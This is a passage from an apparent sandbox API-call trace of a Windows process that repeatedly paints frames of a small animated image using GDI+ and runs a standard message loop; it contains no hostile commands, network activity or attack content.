0xc000 [0125.484] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x6901018a) returned 0x0 [0125.484] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffd540dbd) returned 0x0 [0125.484] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0125.484] GdipDeleteRegion (region=0x1de43de0) returned 0x0 [0125.485] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0125.485] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0125.485] GetSystemMetrics (nIndex=42) returned 0 [0125.485] CoTaskMemAlloc (cb=0x6) returned 0x4ffeb0 [0125.485] GetWindowTextW (in: hWnd=0x2031e, lpString=0x4ffeb0, nMaxCount=1 | out: lpString="") returned 0 [0125.485] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x4ffeb0) returned 0x0 [0125.485] CoTaskMemFree (pv=0x4ffeb0) [0125.485] GdipImageSelectActiveFrame (image=0x1dc21b40, dimensionID=0x15db10*(Data1=0x6aedbd6d, Data2=0x3fb5, Data3=0x418a, Data4=([0]=0x83, [1]=0xa6, [2]=0x7f, [3]=0x45, [4]=0x22, [5]=0x9d, [6]=0xc8, [7]=0x72)), frameIndex=0x12) returned 0x0 [0125.488] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0125.488] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0125.488] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0125.488] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0125.488] BitBlt (hdc=0x1010b9d, x=0, y=0, cx=64, cy=64, hdcSrc=0x6901018a, x1=0, y1=0, rop=0xcc0020) returned 1 [0125.488] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0125.488] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x6901018a) returned 0x0 [0125.488] SelectObject (hdc=0x6901018a, h=0x185000f) returned 0x1a05067e [0125.488] DeleteDC (hdc=0x6901018a) returned 1 [0125.489] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0125.489] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0125.489] SelectPalette (hdc=0x1010b9d, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0125.489] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0125.489] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0125.489] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0125.489] WaitMessage () returned 1 [0125.709] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0125.709] IsWindowUnicode (hWnd=0x2031e) returned 1 [0125.709] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0125.709] TranslateMessage (lpMsg=0x15e910) returned 0 [0125.709] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0125.709] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0125.709] GetCurrentThreadId () returned 0xec0 [0125.709] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0125.709] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0125.709] IsWindowUnicode (hWnd=0x2031e) returned 1 [0125.709] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0125.709] TranslateMessage (lpMsg=0x15e910) returned 0 [0125.709] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0125.710] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x1010b9d [0125.710] SelectPalette (hdc=0x1010b9d, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0125.710] CreateCompatibleDC (hdc=0x1010b9d) returned 0x6a01018a [0125.710] SelectObject (hdc=0x6a01018a, h=0x1a05067e) returned 0x185000f [0125.710] GdipCreateFromHDC (hdc=0x6a01018a, graphics=0x15daf0) returned 0x0 [0125.710] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0125.710] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0125.710] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0125.710] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0125.710] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0125.710] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a1f70 [0125.710] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7a1f70) returned 0x0 [0125.711] LocalFree (hMem=0x1e7a1f70) returned 0x0 [0125.711] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0125.711] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0125.711] GdipCreateRegion (region=0x15dc20) returned 0x0 [0125.711] GdipGetClip (graphics=0x1de4fd10, region=0x1d2e7c10) returned 0x0 [0125.711] GdipIsInfiniteRegion (region=0x1d2e7c10, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0125.712] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0125.712] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0125.712] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0125.712] GetSystemMetrics (nIndex=42) returned 0 [0125.712] CoTaskMemAlloc (cb=0x6) returned 0x4fff00 [0125.712] GetWindowTextW (in: hWnd=0x2031e, lpString=0x4fff00, nMaxCount=1 | out: lpString="") returned 0 [0125.712] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x4fff00) returned 0x0 [0125.712] CoTaskMemFree (pv=0x4fff00) [0125.712] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0125.712] GdipCreateRegion (region=0x15d710) returned 0x0 [0125.712] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0125.712] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0125.712] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0125.712] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0125.712] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a1f70 [0125.712] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7a1f70) returned 0x0 [0125.713] LocalFree (hMem=0x1e7a1f70) returned 0x0 [0125.713] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1d2e7c10, combineMode=0x1) returned 0x0 [0125.713] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a1f70 [0125.713] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7a1f70) returned 0x0 [0125.714] LocalFree (hMem=0x1e7a1f70) returned 0x0 [0125.714] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0125.714] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0125.714] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0125.714] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0125.714] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0125.714] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0125.714] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0125.714] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0125.714] GetCurrentObject (hdc=0x6a01018a, type=0x1) returned 0x1b00017 [0125.714] GetCurrentObject (hdc=0x6a01018a, type=0x2) returned 0x1900010 [0125.714] GetCurrentObject (hdc=0x6a01018a, type=0x7) returned 0x1a05067e [0125.714] GetCurrentObject (hdc=0x6a01018a, type=0x6) returned 0x18a002e [0125.714] SaveDC (hdc=0x6a01018a) returned 1 [0125.715] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x720407c3 [0125.715] GetClipRgn (hdc=0x6a01018a, hrgn=0x720407c3) returned 0 [0125.715] SelectClipRgn (hdc=0x6a01018a, hrgn=0x42040b8a) returned 2 [0125.715] DeleteObject (ho=0x720407c3) returned 1 [0125.715] DeleteObject (ho=0x42040b8a) returned 1 [0125.715] OffsetViewportOrgEx (in: hdc=0x6a01018a, x=0, y=0, lppt=0x2783630 | out: lppt=0x2783630) returned 1 [0125.715] GetNearestColor (hdc=0x6a01018a, color=0xffffff) returned 0xffffff [0125.715] CreateSolidBrush (color=0xffffff) returned 0x4a100190 [0125.715] FillRect (hDC=0x6a01018a, lprc=0x15d7c0, hbr=0x4a100190) returned 1 [0125.715] DeleteObject (ho=0x4a100190) returned 1 [0125.715] RestoreDC (hdc=0x6a01018a, nSavedDC=-1) returned 1 [0125.715] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0125.715] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x6a01018a) returned 0x0 [0125.715] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffd520dbd) returned 0x0 [0125.716] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0125.716] GdipDeleteRegion (region=0x1d2e7c10) returned 0x0 [0125.716] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0125.716] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0125.716] GetSystemMetrics (nIndex=42) returned 0 [0125.716] CoTaskMemAlloc (cb=0x6) returned 0x4fff00 [0125.716] GetWindowTextW (in: hWnd=0x2031e, lpString=0x4fff00, nMaxCount=1 | out: lpString="") returned 0 [0125.716] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x4fff00) returned 0x0 [0125.716] CoTaskMemFree (pv=0x4fff00) [0125.716] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0125.716] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0125.716] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0125.716] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0125.716] BitBlt (hdc=0x1010b9d, x=0, y=0, cx=64, cy=64, hdcSrc=0x6a01018a, x1=0, y1=0, rop=0xcc0020) returned 1 [0125.716] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0125.717] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x6a01018a) returned 0x0 [0125.717] SelectObject (hdc=0x6a01018a, h=0x185000f) returned 0x1a05067e [0125.717] DeleteDC (hdc=0x6a01018a) returned 1 [0125.717] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0125.717] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0125.717] SelectPalette (hdc=0x1010b9d, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0125.717] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0125.717] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0125.717] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0125.717] WaitMessage () returned 1 [0125.976] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0125.976] IsWindowUnicode (hWnd=0x2031e) returned 1 [0125.976] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0125.976] TranslateMessage (lpMsg=0x15e910) returned 0 [0125.976] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0125.976] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0125.976] GetCurrentThreadId () returned 0xec0 [0125.976] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0125.977] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0125.977] IsWindowUnicode (hWnd=0x2031e) returned 1 [0125.977] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0125.977] TranslateMessage (lpMsg=0x15e910) returned 0 [0125.977] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0125.977] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x1010b9d [0125.977] SelectPalette (hdc=0x1010b9d, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0125.977] CreateCompatibleDC (hdc=0x1010b9d) returned 0x6b01018a [0125.977] SelectObject (hdc=0x6b01018a, h=0x1a05067e) returned 0x185000f [0125.977] GdipCreateFromHDC (hdc=0x6b01018a, graphics=0x15daf0) returned 0x0 [0125.978] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0125.978] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0125.978] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0125.978] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0125.978] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0125.978] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b4120 [0125.978] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b4120) returned 0x0 [0125.978] LocalFree (hMem=0x1e7b4120) returned 0x0 [0125.979] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0125.979] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0125.979] GdipCreateRegion (region=0x15dc20) returned 0x0 [0125.979] GdipGetClip (graphics=0x1de4fd10, region=0x1d2e7c10) returned 0x0 [0125.979] GdipIsInfiniteRegion (region=0x1d2e7c10, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0125.979] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0125.979] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0125.979] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0125.979] GetSystemMetrics (nIndex=42) returned 0 [0125.979] CoTaskMemAlloc (cb=0x6) returned 0x1e7ac0e0 [0125.979] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e7ac0e0, nMaxCount=1 | out: lpString="") returned 0 [0125.979] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e7ac0e0) returned 0x0 [0125.979] CoTaskMemFree (pv=0x1e7ac0e0) [0125.980] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0125.980] GdipCreateRegion (region=0x15d710) returned 0x0 [0125.980] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0125.980] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0125.980] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0125.980] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0125.980] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b4120 [0125.980] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b4120) returned 0x0 [0125.980] LocalFree (hMem=0x1e7b4120) returned 0x0 [0125.980] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1d2e7c10, combineMode=0x1) returned 0x0 [0125.980] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b4120 [0125.980] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b4120) returned 0x0 [0125.981] LocalFree (hMem=0x1e7b4120) returned 0x0 [0125.981] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0125.981] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0125.981] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0125.981] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0125.981] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0125.981] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0125.981] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0125.981] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0125.982] GetCurrentObject (hdc=0x6b01018a, type=0x1) returned 0x1b00017 [0125.982] GetCurrentObject (hdc=0x6b01018a, type=0x2) returned 0x1900010 [0125.982] GetCurrentObject (hdc=0x6b01018a, type=0x7) returned 0x1a05067e [0125.982] GetCurrentObject (hdc=0x6b01018a, type=0x6) returned 0x18a002e [0125.982] SaveDC (hdc=0x6b01018a) returned 1 [0125.982] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x43040b8a [0125.982] GetClipRgn (hdc=0x6b01018a, hrgn=0x43040b8a) returned 0 [0125.982] SelectClipRgn (hdc=0x6b01018a, hrgn=0x730407c3) returned 2 [0125.982] DeleteObject (ho=0x43040b8a) returned 1 [0125.982] DeleteObject (ho=0x730407c3) returned 1 [0125.982] OffsetViewportOrgEx (in: hdc=0x6b01018a, x=0, y=0, lppt=0x2787ae8 | out: lppt=0x2787ae8) returned 1 [0125.982] GetNearestColor (hdc=0x6b01018a, color=0xffffff) returned 0xffffff [0125.983] CreateSolidBrush (color=0xffffff) returned 0x4b100190 [0125.983] FillRect (hDC=0x6b01018a, lprc=0x15d7c0, hbr=0x4b100190) returned 1 [0125.983] DeleteObject (ho=0x4b100190) returned 1 [0125.983] RestoreDC (hdc=0x6b01018a, nSavedDC=-1) returned 1 [0125.983] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0125.983] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x6b01018a) returned 0x0 [0125.983] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffd500dbd) returned 0x0 [0125.983] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0125.983] GdipDeleteRegion (region=0x1d2e7c10) returned 0x0 [0125.983] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0125.983] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0125.983] GetSystemMetrics (nIndex=42) returned 0 [0125.983] CoTaskMemAlloc (cb=0x6) returned 0x1e7ac0e0 [0125.983] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e7ac0e0, nMaxCount=1 | out: lpString="") returned 0 [0125.983] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e7ac0e0) returned 0x0 [0125.984] CoTaskMemFree (pv=0x1e7ac0e0) [0125.984] GdipImageSelectActiveFrame (image=0x1dc21b40, dimensionID=0x15db10*(Data1=0x6aedbd6d, Data2=0x3fb5, Data3=0x418a, Data4=([0]=0x83, [1]=0xa6, [2]=0x7f, [3]=0x45, [4]=0x22, [5]=0x9d, [6]=0xc8, [7]=0x72)), frameIndex=0x14) returned 0x0 [0125.986] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0125.986] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0125.986] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0125.986] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0125.986] BitBlt (hdc=0x1010b9d, x=0, y=0, cx=64, cy=64, hdcSrc=0x6b01018a, x1=0, y1=0, rop=0xcc0020) returned 1 [0125.987] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0125.987] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x6b01018a) returned 0x0 [0125.987] SelectObject (hdc=0x6b01018a, h=0x185000f) returned 0x1a05067e [0125.987] DeleteDC (hdc=0x6b01018a) returned 1 [0125.987] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0125.987] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0125.987] SelectPalette (hdc=0x1010b9d, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0125.987] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0125.987] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0125.987] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0125.987] WaitMessage () returned 1 [0126.230] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0126.230] IsWindowUnicode (hWnd=0x2031e) returned 1 [0126.230] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0126.230] TranslateMessage (lpMsg=0x15e910) returned 0 [0126.230] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0126.230] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0126.230] GetCurrentThreadId () returned 0xec0 [0126.230] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0126.230] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0126.230] IsWindowUnicode (hWnd=0x2031e) returned 1 [0126.230] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0126.231] TranslateMessage (lpMsg=0x15e910) returned 0 [0126.231] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0126.231] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x1010b9d [0126.231] SelectPalette (hdc=0x1010b9d, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0126.231] CreateCompatibleDC (hdc=0x1010b9d) returned 0x25010191 [0126.231] SelectObject (hdc=0x25010191, h=0x1a05067e) returned 0x185000f [0126.231] GdipCreateFromHDC (hdc=0x25010191, graphics=0x15daf0) returned 0x0 [0126.231] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0126.231] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0126.231] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0126.231] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0126.231] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0126.231] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b41a0 [0126.232] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b41a0) returned 0x0 [0126.232] LocalFree (hMem=0x1e7b41a0) returned 0x0 [0126.232] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0126.232] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0126.232] GdipCreateRegion (region=0x15dc20) returned 0x0 [0126.233] GdipGetClip (graphics=0x1de4fd10, region=0x1de43de0) returned 0x0 [0126.233] GdipIsInfiniteRegion (region=0x1de43de0, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0126.233] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0126.233] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0126.233] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0126.233] GetSystemMetrics (nIndex=42) returned 0 [0126.233] CoTaskMemAlloc (cb=0x6) returned 0x1e7ac0e0 [0126.233] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e7ac0e0, nMaxCount=1 | out: lpString="") returned 0 [0126.233] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e7ac0e0) returned 0x0 [0126.233] CoTaskMemFree (pv=0x1e7ac0e0) [0126.233] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0126.233] GdipCreateRegion (region=0x15d710) returned 0x0 [0126.233] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0126.234] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0126.234] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0126.234] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0126.234] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b41a0 [0126.234] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b41a0) returned 0x0 [0126.234] LocalFree (hMem=0x1e7b41a0) returned 0x0 [0126.234] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1de43de0, combineMode=0x1) returned 0x0 [0126.234] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b41a0 [0126.234] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b41a0) returned 0x0 [0126.235] LocalFree (hMem=0x1e7b41a0) returned 0x0 [0126.235] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0126.235] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0126.235] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0126.235] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0126.235] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0126.235] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0126.235] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0126.236] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0126.236] GetCurrentObject (hdc=0x25010191, type=0x1) returned 0x1b00017 [0126.236] GetCurrentObject (hdc=0x25010191, type=0x2) returned 0x1900010 [0126.236] GetCurrentObject (hdc=0x25010191, type=0x7) returned 0x1a05067e [0126.236] GetCurrentObject (hdc=0x25010191, type=0x6) returned 0x18a002e [0126.236] SaveDC (hdc=0x25010191) returned 1 [0126.236] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x740407c3 [0126.236] GetClipRgn (hdc=0x25010191, hrgn=0x740407c3) returned 0 [0126.237] SelectClipRgn (hdc=0x25010191, hrgn=0x44040b8a) returned 2 [0126.237] DeleteObject (ho=0x740407c3) returned 1 [0126.237] DeleteObject (ho=0x44040b8a) returned 1 [0126.237] OffsetViewportOrgEx (in: hdc=0x25010191, x=0, y=0, lppt=0x278a3a0 | out: lppt=0x278a3a0) returned 1 [0126.237] GetNearestColor (hdc=0x25010191, color=0xffffff) returned 0xffffff 